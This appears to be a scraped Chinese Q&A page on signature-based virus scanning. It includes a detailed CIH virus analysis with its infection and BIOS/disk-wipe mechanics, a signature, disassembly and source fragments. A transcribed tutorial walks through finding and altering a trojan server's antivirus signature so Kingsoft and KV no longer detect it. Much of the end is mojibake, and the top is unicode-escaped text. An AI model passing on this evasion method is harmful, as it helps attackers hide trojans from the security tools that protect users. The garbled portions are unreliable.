关于特征码识别计算机病毒方法 基于特征码的扫描技术,适合于查杀何种类型的计算机病毒?为什么...
\u5173\u4e8e\u7528\u7279\u5f81\u7801\u8bc6\u522b\u8ba1\u7b97\u673a\u75c5\u6bd2\u7684\u65b9\u6cd5\uff0c\u4e0b\u9762\u6b63\u786e\u7684\u662f\u5e94\u8be5\u9009B\u5427\uff0c\u6728\u9a6c\u514d\u6740\u91cc\u9762\u5f88\u5b9e\u7528\u7684\u5c31\u662f\u7279\u5f81\u7801\u514d\u6740\uff0c\u800c\u4e14\u5f88\u7b80\u5355\uff0c\u6709\u4e86\u5de5\u5177\u540e\u7b80\u76f4\u5c31\u662f\u50bb\u74dc\u64cd\u4f5c\uff0c\u4e0d\u8fc7\u73b0\u5728\u6740\u6bd2\u8f6f\u4ef6\u4e5f\u725b\u4e86\uff0c\u90fd\u4f1a\u4e3b\u52a8\u9632\u5fa1\u4e86\uff0c\u8fd8\u6709\u8fdb\u7a0b\u5206\u6790\u4ec0\u4e48\u7684\uff0c
\u3000\u3000\u7279\u5f81\u7801\u626b\u63cf\u6cd5\u9002\u5408\u7279\u5f81\u7801\u660e\u663e\u7684\u75c5\u6bd2\u3002\u6b64\u7c7b\u75c5\u6bd2\u4e00\u822c\u4e3a\u65e7\u5f0f\u75c5\u6bd2\uff0c\u4f8b\u5982CIH\u7b49\u3002\u6b64\u7c7b\u75c5\u6bd2\u4e0d\u4f1a\u81ea\u52a8\u53d8\u79cd\uff0c\u9664\u975e\u51fa\u73b0\u4e86\u4eba\u5de5\u6539\u52a8\u7279\u5f81\u7801\u7684\u73b0\u8c61\uff0c\u5426\u5219\u4f1a\u4e00\u76f4\u88ab\u68c0\u6d4b\u51fa\u5b58\u5728\u75c5\u6bd2\u3002\uff08\u539f\u56e0\uff1a\u7279\u5f81\u7801\u5c31\u662f\u75c5\u6bd2\u672c\u4f53\u7684\u56fa\u6709\u4ee3\u7801\u6216\u5176\u4e2d\u7684\u4e00\u90e8\u5206\uff0c\u53ea\u8981\u5728\u6587\u4ef6\u4e2d\u68c0\u6d4b\u8be5\u4ee3\u7801\uff0c\u5c31\u53ef\u4ee5\u8fdb\u884c\u5f7b\u5e95\u7684\u68c0\u67e5\u3002\uff09
\u3000\u3000\u4e00\u822c\u6765\u8bf4\uff0c\u7531\u4e8e\u6b64\u7c7b\u626b\u63cf\u65b9\u5f0f\u5b58\u5728\u901f\u5ea6\u6162\u7684\u7279\u70b9\uff0c\u73b0\u5728\u7684\u6740\u6bd2\u8f6f\u4ef6\u4e00\u822c\u4f7f\u7528\u901a\u914d\u5b57\u7b26\u6bb5\u626b\u63cf\u6cd5\u6765\u63d0\u9ad8\u6548\u7387\uff08\u4f8b\u5982\u626b\u63cf\u7279\u5f81\u78011234\uff0c\u5219\u5148\u68c0\u67e5\u662f\u5426\u5b58\u57281\uff0c\u5982\u679c\u5339\u914d\u5219\u68c0\u67e52\uff0c\u518d\u5339\u914d\u68c0\u67e53\uff0c\u6700\u540e\u4e00\u4f4d\u4e5f\u5339\u914d\u5219\u62a5\u6bd2\uff09\u3002\u6b64\u7c7b\u65b9\u6cd5\u80fd\u591f\u52a0\u5feb\u626b\u63cf\u901f\u5ea6\u3002\u53e6\u5916\uff0c\u865a\u62df\u673a\u8131\u58f3\u80fd\u591f\u5e2e\u52a9\u63d0\u9ad8\u626b\u63cf\u7cbe\u5ea6\u3002
第一节 特点
病毒绕过了微软提供的应用程序界面，绕过了ActiveX、C＋＋甚至C，使用汇编，
利用VxD（虚拟设备驱动程序）接口编程，直接杀入Windows内核。它没有改变宿主文件
的大小，而是采用了一种新的文件感染机制即碎洞攻击（fragmented cavity attack），
将病毒化整为零，拆分成若干块，插入宿主文件中去；最引人注目的是它利用目前许多
BIOS芯片开放了可重写的特性，向计算机主板的BIOS端口写入乱码，开创了病毒直接进
攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。
第二节 CIH病毒的初始化
1.用SIDT指令取得IDT base address(中断描述符表基地址)，然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分；
2.执行INT 3指令，进入CIH自身的INT 3入口程序，这样，CIH病毒就可以获得Windows最高级别的权限(Ring 0级)，可在Windows的内核执行各种操作（如终止系统运行，直接对内存读写、截获各种中断、控制I/O端口等，这些操作在应用程序层Ring 3级是受到严格
限制的）。病毒在这段程序中首先检查调试寄存器DR0的值是否为0，用以判断先前是否有CIH病毒已经驻留。
3.如果DR0的值不为0，则表示CIH病毒程式已驻留，病毒程序恢复原先的INT 3入口，然后正常退出INT3，跳到过程9；
4.如果DR0值为0，则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器，以生成驻留标记，然后调用INT 20中断，使用VxD call Page Allocate系统调用，请求系统分配2个PAGE大小的Windows系统内存(system memory)，Windows系统内存地址范围为C0000000h～FFFFFFFFh，它是用来存放所有的虚拟驱动程序的内存区域，如果程序想长期驻留在内存中，则必须申请到此区段内的内存。
5.如果内存申请成功，则从被感染文件中将原先分成多块的病毒代码收集起来，并进行组合后放到申请到的内存空间中;
6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序，调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序，在Windows内核中文件系统处理函数中挂接钩子，以截取文件调用的操作，这样一旦系统出现要求开启文件的调用，则CIH病毒的传染部分程序就会在第一时间截获此文件；
7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO（核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中，以便于CIH病毒调用；
8.恢复原先的IDT中断表中的INT 3入口,退出INT 3；
9.根据病毒程序内隐藏的原文件的正常入口地址，跳到原文件正常入口，执行正常
第三节 病毒发作条件判断
在CIHv1.4中，病毒的发作日期是4月26日，病毒从COMS的70、71端口取出系统当前日期，对其进行判断：
MOV AX,0708
OUT 70,AL
IN AL,71 取当前系统月份->AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取当前系统日->AL
XOR AX,0426 是否为4月26日
JZ 病毒发作程序
之所以不采用这段代码做特征码，是为防止正常程序使用，或者易于发作条件修改。
第四节 病毒的破坏
1.通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块（boot block）内各写入一个字节的乱码，造成主机无法启动。
随着闪存（FlashMemory）价格的下跌，奔腾机器上BIOS普遍采用PROM（可编程只读存储器），它可以在12伏以下的电压下利用软件的方式，从BIOS端口中读出和写入数据，以便于进行程序的升级。CIH病毒正是利用闪存的这一特性，往BIOS里写入乱码，造成BIOS中的原内容被会彻底破坏，主机无法启动。
所幸的是，CIH只能对少数类型的主板BIOS构成威胁。这是因为，BIOS的软件更新是通过直接写端口实现的，而不同主
板的BIOS端口地址各不相同。现在出现的CIH只有1K，程序量太小，还不可能存储大量的主板和BIOS端口数据。它只对
端口地址为0CFEH和0CFD的BIOS（据有关资料为Intel 430TX chipset、部分Pentium chipsets）进行攻击
2.覆盖硬盘
通过调用Vxd call IOS_SendCommand直接对硬盘进行存取，将垃圾代码以2048个扇区为单位，从硬盘主引导区开始依
次循环写入硬盘，直到所有硬盘（含逻辑盘）的数据均被破坏为止。
特征码：
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83
偏移位置：0x240
特码长度：0x40
反汇编代码：
00400240 > 55 PUSH EBP
00400241 8D4424 F8 LEA EAX,DWORD PTR SS:[ESP-8]
00400245 33DB XOR EBX,EBX
00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX
0040024A E8 00000000 CALL Win95_ci.0040024F
0040024F 5B POP EBX
00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]
00400253 51 PUSH ECX
00400254 50 PUSH EAX
00400255 50 PUSH EAX
00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] ; 用SIDT指令取得IDT base address(中断描述符表基地址)，
; 然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分；
0040025B 5B POP EBX
0040025C 83C3 1C ADD EBX,1C
0040025F FA CLI
00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]
00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]
00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]
00400269 56 PUSH ESI
0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI
0040026E C1EE 10 SHR ESI,10
00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI
00400275 5E POP ESI
00400276 CC INT3 ; 执行INT 3指令，进入CIH自身的INT 3入口程序，获得权限(Ring 0级)，
00400277 56 PUSH ESI
00400278 8BF0 MOV ESI,EAX
0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]
0040027D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040027F 83E8 08 SUB EAX,8
与1.3版本匹配，源病毒初始代码如下：
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; *************************************
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
; *************************************
; * Generate Exception Again *
; *************************************
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
; *************************************
; * Return Original App to Execute *
; *************************************
文档：
http://www.yuanmawang.com/Download.asp?ID=5543&sID=1
音频：
http://download1.77169.com/donghua/other/12-11.zip
今天讲一下怎么改病毒的特征码，让它不被杀毒软件杀掉，就拿hgzvip1.2没有配置的服务端为例子
现在能被金山认识出来！
一般从程序的入口开始找特征码
4bdf68是内存的虚拟地址
bd368就是文件的相对偏移地址
现在查不出了，就说明特征码就在刚在的那一片
刚才我们填充的是120，现在就取它的一半90
范围更小了
再取90的一半
哈，范围更小了
再取48的一半
运气真好，就是这一段了，我们可以把范围更精确一点
有毒，说明不是这一段，go on,go on,go on,
查不到了，就说明是从bd376这里左右开始的
反编译原来的文件看一下，搞错了，应该用原来的文件
我们就从这里改，先看懂这里程序的意思
xor eax,eax 是把eax清为0
那么后面的两句程序的意思也是把内存地址清0，就是这两句。
我们把它的先后顺序换一下就可以了，这两句就ec和e8不同，我们换一下它们的先后顺序。
对应的文件就是这里，查一下还会不会被金山认出，哈哈，它不认识了！
但是还会被kv认出，所以我们得继续，把kv识别的特征也得改了，
方法和这里是一样的，我就不继续了。
关键点在于找到特征码之后，不能乱改，一定要把程序的意思看懂了，不然程序可能出错的。
把各种病毒的特征码记会，再把各文件反编译，再看看哪个文件的代码像某个病毒，就可以人工特征码手工查毒了。估计只有傻子才会这样做
到黑客网学习吧！
绛旓細2.鐗瑰緛鐮佷綔涓烘娴嬭绠楁満鐥呮瘨鐨勪緷鎹紝鍙互妫娴嬪埌鎵鏈夌梾姣 3. 鍒╃敤鐗瑰緛鐮佽櫧鐒跺彲浠ユ娴嬪埌澶ч儴鍒嗙梾姣掞紝浣嗗洜妫娴嬩笉鍒版煇浜涚梾姣掞紝鎵浠ヤ笉搴斿皢鐗瑰緛鐮佺敤浜庢娴嬬梾姣 鐜板湪涓昏杩樻槸鐢ㄧ壒寰佺爜鏉ヨ瘑鍒,鐥呮瘨鐨勪骇鐢熼熷害寰堝揩,渚濈劧鏈夊緢澶氱梾姣掓病鏈夎璇嗗埆.
绛旓細6.鍐嶆璋冪敤INT 3涓柇杩涘叆CIH鐥呮瘨浣撶殑INT 3鍏ュ彛绋嬪簭,璋冪敤INT20鏉ュ畬鎴愯皟鐢ㄤ竴涓狪FSMgr_InstallFileSystemApiHook鐨勫瓙绋嬪簭,鍦╓indows鍐呮牳涓枃浠剁郴缁熷鐞嗗嚱鏁颁腑鎸傛帴閽╁瓙,浠ユ埅鍙栨枃浠惰皟鐢ㄧ殑鎿嶄綔,杩欐牱涓鏃︾郴缁熷嚭鐜拌姹傚紑鍚枃浠剁殑璋冪敤,鍒機IH鐥呮瘨鐨勪紶鏌撻儴鍒嗙▼搴忓氨浼氬湪绗竴鏃堕棿鎴幏姝ゆ枃浠; 7.灏嗗悓鏃惰幏鍙栫殑Windows榛樿鐨処FSMgr_Ring...
绛旓細璁＄畻鏈虹梾姣掔▼搴忔病鏈夋枃浠跺悕鏃讹紝涓昏鏄氳繃鍏剁壒寰佺爜銆佽涓烘ā寮忎互鍙婂惎鍙戝紡妫娴嬬瓑鏂规硶杩涜璇嗗埆銆傞鍏堬紝鐗瑰緛鐮佹娴嬫槸璇嗗埆鐥呮瘨鐨勪竴绉嶅父瑙佹柟寮忋傛瘡涓梾姣掗兘鏈夊叾鐙壒鐨勪唬鐮佸簭鍒楋紝杩欎簺搴忓垪鍙互琚彁鍙栧苟鐢ㄤ綔璇嗗埆璇ョ梾姣掔殑“鎸囩汗”銆傛潃姣掕蒋浠跺叕鍙镐細涓嶆柇鏀堕泦鍜屽垎鏋愭柊鍑虹幇鐨勭梾姣掓牱鏈紝鎻愬彇鍏剁壒寰佺爜锛屽苟鏇存柊鍒扮梾姣...
绛旓細甯歌鐨勭梾姣掓煡鏉鎶鏈富瑕佸寘鎷壒寰佺爜鎵弿銆佸惎鍙戝紡鍒嗘瀽銆佽涓虹洃鎺у拰娌欑鎶鏈銆傜壒寰佺爜鎵弿鏄渶甯歌鐨勭梾姣掓煡鏉鎶鏈箣涓銆傚畠鍩轰簬宸茬煡鐥呮瘨鏍锋湰鐨勭壒寰佺爜锛岄氳繃瀵规瘮鐩爣鏂囦欢涓庣梾姣掓牱鏈殑鐗瑰緛鐮佹潵妫娴嬬梾姣掋備竴鏃﹀彂鐜板尮閰嶇殑鐗瑰緛鐮侊紝鏉姣掕蒋浠跺氨浼氬皢鐩爣鏂囦欢鏍囪涓虹梾姣掑苟閲囧彇鐩稿簲鐨勫鐞嗘帾鏂斤紝濡闅旂銆佸垹闄ゆ垨淇銆傝繖绉嶆柟娉曠殑浼...
绛旓細鐗瑰緛鐮佹壂鎻忔硶閫傚悎鐗瑰緛鐮佹槑鏄剧殑鐥呮瘨銆傛绫荤梾姣掍竴鑸负鏃у紡鐥呮瘨锛屼緥濡侰IH绛夈傛绫荤梾姣掍笉浼氳嚜鍔ㄥ彉绉嶏紝闄ら潪鍑虹幇浜嗕汉宸ユ敼鍔ㄧ壒寰佺爜鐨勭幇璞★紝鍚﹀垯浼氫竴鐩磋妫娴嬪嚭瀛樺湪鐥呮瘨銆傦紙鍘熷洜锛氱壒寰佺爜灏辨槸鐥呮瘨鏈綋鐨勫浐鏈変唬鐮佹垨鍏朵腑鐨勪竴閮ㄥ垎锛屽彧瑕佸湪鏂囦欢涓娴嬭浠ｇ爜锛屽氨鍙互杩涜褰诲簳鐨勬鏌ャ傦級涓鑸潵璇达紝鐢变簬姝ょ被鎵弿鏂瑰紡瀛樺湪閫熷害鎱...
绛旓細浣跨敤鐗瑰緛鐮鐨勪富瑕鏂规硶鏄皢鍏跺簲鐢ㄤ簬鏁版嵁鍖归厤銆佹枃浠璇嗗埆銆鐥呮瘨妫娴嬬瓑鍦烘櫙锛岄氳繃鐗瑰緛鐮佺殑鍞竴鎬ф潵璇嗗埆鐩爣鏁版嵁鎴栧璞°傜壒寰佺爜锛岄氬父鏄竴涓插叿鏈夊敮涓鎬х殑鏁板瓧鎴栧瓧绗︾粍鍚堬紝鐢ㄤ簬鏍囪瘑鍜屽尯鍒嗕笉鍚岀殑鏁版嵁鎴栧璞°傚湪鏁版嵁鍖归厤涓紝鐗瑰緛鐮佸彲浠ュ府鍔╂垜浠揩閫熷噯纭湴鎵惧埌鐩爣鏁版嵁銆備緥濡傦紝鍦ㄦ暟鎹簱涓瓨鍌ㄤ簡澶ч噺鐨勭敤鎴蜂俊鎭紝姣忎釜鐢ㄦ埛...
绛旓細鐢璁＄畻鏈虹梾姣掔壒寰佺爜瀵硅妫娴嬫枃浠惰繘琛屾壂鎻忓拰鐗瑰緛鍖归厤鐨鏂规硶锛屾槸鏌ユ潃杞欢浣跨敤鐨勪富瑕佹柟娉曘傝繖绉嶆柟娉曞師鐞嗙畝鍗曘佸疄鐜板鏄撱佽鎶ョ巼浣庛佸彲璇嗗埆鐥呮瘨绫诲埆鍜屽悕绉帮紝浣嗛』缁存姢璁＄畻鏈虹梾姣掔壒寰佺爜搴擄紝鏃犳硶妫娴嬫湭鐭ョ梾姣掑拰鍙樺紓鐥呮瘨銆4銆佽涓虹洃娴嬫硶 閫氳繃鐩戞祴杩愯鐨勭▼搴忚涓猴紝浠ュ彂鐜版槸鍚︽湁鐥呮瘨琛屼负(鐥呮瘨鍏锋湁鐨勭壒娈婅涓)銆傚父瑙佺殑...
绛旓細妫娴鐥呮瘨鏂规硶鏈:鐗瑰緛浠ｇ爜娉曘佹牎楠屽拰娉曘佽涓虹洃娴嬫硶銆佽蒋浠舵ā鎷熸硶 杩欎簺鏂规硶渚濇嵁鐨勫師鐞嗕笉鍚,瀹炵幇鏃舵墍闇寮閿涓嶅悓,妫娴嬭寖鍥翠笉鍚,鍚勬湁鎵闀裤 鐗瑰緛浠ｇ爜娉 鐗瑰緛浠ｇ爜娉曡鏃╂湡搴旂敤浜嶴CAN銆丆PAV绛夎憲鍚嶇梾姣掓娴嬪伐鍏蜂腑銆傚浗澶栦笓瀹惰涓虹壒寰佷唬鐮佹硶鏄娴嬪凡鐭ョ梾姣掔殑鏈绠鍗曘佸紑閿鏈灏忕殑鏂规硶銆 鐗瑰緛浠ｇ爜娉曠殑瀹炵幇姝ラ濡備笅: 閲囬泦...
绛旓細鐩墠鐨勫ぇ澶氭暟鏉鐥呮瘨杞欢閲囩敤鐨鏂规硶涓昏鏄鐗瑰緛鐮鏌ユ瘨鏂规涓庝汉宸ヨВ姣掑苟琛,浜﹀嵆鍦ㄦ煡鐥呮瘨鏃堕噰鐢ㄧ壒寰佺爜鏌ユ瘨,鍦ㄦ潃鐥呮瘨鏃堕噰鐢ㄤ汉宸ョ紪鍒惰В姣掍唬鐮併 鐗瑰緛鐮佹煡姣掓柟妗堝疄闄呬笂鏄汉宸ユ煡姣掔粡楠岀殑绠鍗曡〃杩,瀹冨啀鐜颁簡浜哄伐杈ㄨ瘑鐥呮瘨鐨勪竴鑸柟娉,閲囩敤浜嗏滃悓涓鐥呮瘨鎴栧悓绫荤梾姣掔殑鏌愪竴閮ㄥ垎浠ｇ爜鐩稿悓鈥濈殑鍘熺悊,涔熷氨鏄,濡傛灉鐥呮瘨鍙婂叾鍙樼銆佸彉褰㈢梾姣...
绛旓細鎵璋鐥呮瘨鐨勭壒寰佷唬鐮佹槸閫氳繃鏉姣掕蒋浠剁殑鎵弿锛屽湪鐥呮瘨绋嬪簭涓壘鍒扮殑鍏锋湁鐗瑰畾瑙勫緥鐨勪竴娈典唬鐮侊紝杩欐浠ｇ爜浣垮緱杩欎釜鐥呮瘨鍙互鍖哄埆浜庡叾浠栨枃浠躲傞氳繃杩欎釜鐗瑰緛浠ｇ爜锛屽氨鍙互璇嗗埆杩欎釜鏂囦欢鏄惁甯︽湁鐥呮瘨銆傚綋閬囧埌鏂囦欢鏃讹紝杩涜鎵弿锛屽鏋滃寘鍚繖涓鐗瑰緛鐮锛屽氨鍙互璁や负杩欎釜鏂囦欢鏌撴瘨銆傝繖灏辨槸鐗瑰緛鐮佺殑鍔熻兘銆
